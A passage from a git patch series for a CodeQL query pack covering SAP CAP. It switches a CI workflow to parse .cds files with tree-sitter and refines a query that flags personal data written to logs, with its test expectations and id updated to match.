install-qlt - uses: ./.github/actions/install-qlt + uses: advanced-security/codeql-development-toolkit/.github/actions/install-qlt@main with: - qlt-version: 'latest' + qlt-version: "latest" add-to-path: true - name: Export unit test matrix @@ -47,9 +46,9 @@ jobs: - name: Install QLT id: install-qlt - uses: ./.github/actions/install-qlt + uses: advanced-security/codeql-development-toolkit/.github/actions/install-qlt@main with: - qlt-version: 'latest' + qlt-version: "latest" add-to-path: true - name: Install CodeQL @@ -77,22 +76,19 @@ jobs: run: | qlt query run install-packs - - name: Ensure presence of cds shell command + - name: Install tree-sitter-cli locally run: | - if ! command -v cds &> /dev/null - then - npm install -g @sap/cds-dk - fi + npm i tree-sitter-cli @cap-js-community/tree-sitter-cds - # Compile .cds files to .cds.json files. - - name: Compile CAP CDS files + # Parse .cds files to .cds.json files. + - name: Parse CAP CDS files run: | for cds_file in $(find . -type f \( -iname '*.cds' \) -print) do echo "I am compiling $cds_file" - cds compile $cds_file \ - -2 json \ - -o "$cds_file.json" + node_modules/tree-sitter-cli/tree-sitter parse -x \ + --config-path .github/workflows/tree-sitter-config.json $cds_file \ + > "$cds_file.t-s.xml" done - name: Run test suites @@ -128,18 +124,16 @@ jobs: needs: [run-test-suites] runs-on: ubuntu-latest steps: - - name: Checkout repository uses: actions/checkout@v4 - name: Install QLT id: install-qlt - uses: ./.github/actions/install-qlt + uses: advanced-security/codeql-development-toolkit/.github/actions/install-qlt@main with: - qlt-version: 'latest' + qlt-version: "latest" add-to-path: true - - name: Collect test results uses: actions/download-artifact@v4 @@ -147,4 +141,3 @@ jobs: run: | qlt test run validate-unit-tests --pretty-print --results-directory . >> $GITHUB_STEP_SUMMARY qlt test run validate-unit-tests --results-directory . - diff --git a/.github/workflows/tree-sitter-config.json b/.github/workflows/tree-sitter-config.json new file mode 100644 index 000000000..efd0508ce --- /dev/null +++ b/.github/workflows/tree-sitter-config.json @@ -0,0 +1,5 @@ +{ + "parser-directories": [ + "node_modules/@cap-js-community" + ] +} \ No newline at end of file diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/TreeSitterXml.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/TreeSitterXml.qll new file mode 100644 index 000000000..18c5b7faf --- /dev/null +++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/TreeSitterXml.qll @@ -0,0 +1,18 @@ +/** + * A module to reason about an AST exported to a `.t-s.xml` file using `tree-sitter parse -x` . + */ + +import javascript + +class TreeSitterXmlElement extends XmlElement { + TreeSitterXmlElement() { this.getFile().getName().matches("%.t-s.xml") } + + string getURL() { + result = + "file://" + this.getFile().getName().splitAt(".t-s.xml") + ":" + + (this.getAttributeValue("srow").toInt() + 1) + ":" + + (this.getAttributeValue("scol").toInt() + 1) + ":" + + (this.getAttributeValue("erow").toInt() + 1) + ":" + + (this.getAttributeValue("ecol").toInt() + 1) + } +} diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql index faaf16269..efdfbc715 100644 --- a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql @@ -33,6 +33,21 @@ class SensitiveLogExposureConfig extends TaintTracking::Configuration { override predicate isSink(DataFlow::Node sink) { sink instanceof CdsLogSink } } -from SensitiveLogExposureConfig config, DataFlow::PathNode source, DataFlow::PathNode sink -where config.hasFlowPath(source, sink) -select sink, source, sink, "Log entry depends on a potentially sensitive piece of information." +class PersonalElement extends TreeSitterXmlElement { + PersonalElement() { + this.getName() = "annotate_element" and + this.getAChild("annotation").getAChild("annotation_path").getAChild("identifier").getTextValue() = + "PersonalData" + } + + string getIdentifier() { this.getAChild("identifier").getTextValue() = result } +} + +from + SensitiveLogExposureConfig config, DataFlow::PathNode source, DataFlow::PathNode sink, + PersonalElement annotation +where + config.hasFlowPath(source, sink) and + source.getNode().(PropRead).getPropertyName() = annotation.getIdentifier() +select sink, source, sink, "Log entry depends on a potentially $@.", annotation, + "sensitive piece of information" diff --git a/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected index 079209fe2..a037eee80 100644 --- a/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected +++ b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected @@ -5,4 +5,4 @@ nodes edges | sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | #select -| sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | Log entry depends on a potentially sensitive piece of information. | +| sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | Log entry depends on a potentially $@. | sensitive-exposure.cds:12:3:12:46 | annotate_element | sensitive piece of information | From d5a5ece56311f114b8b0f271246a59750fa4f45c Mon Sep 17 00:00:00 2001 From: Mauro Baluda Date: Fri, 26 Jul 2024 00:41:43 +0200 Subject: [PATCH 8/9] Missing dependency --- .../cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll index 468943688..15172ae83 100644 --- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll +++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll @@ -3,6 +3,7 @@ import semmle.javascript.dataflow.DataFlow import advanced_security.javascript.frameworks.cap.PackageJson import advanced_security.javascript.frameworks.cap.CDL import advanced_security.javascript.frameworks.cap.CQL +import TreeSitterXml /** * ```js From a4e5bb15186a06c7ac946911144e08656ad72d1b Mon Sep 17 00:00:00 2001 From: Mauro Baluda Date: Fri, 26 Jul 2024 00:56:33 +0200 Subject: [PATCH 9/9] change id --- .../frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql index efdfbc715..9a3098dc2 100644 --- a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql @@ -6,7 +6,7 @@ * @problem.severity warning * @security-severity 7.5 * @precision medium - * @id javascript/sensitive-log + * @id javascript/sensitive-log-cds * @tags security * external/cwe/cwe-532 */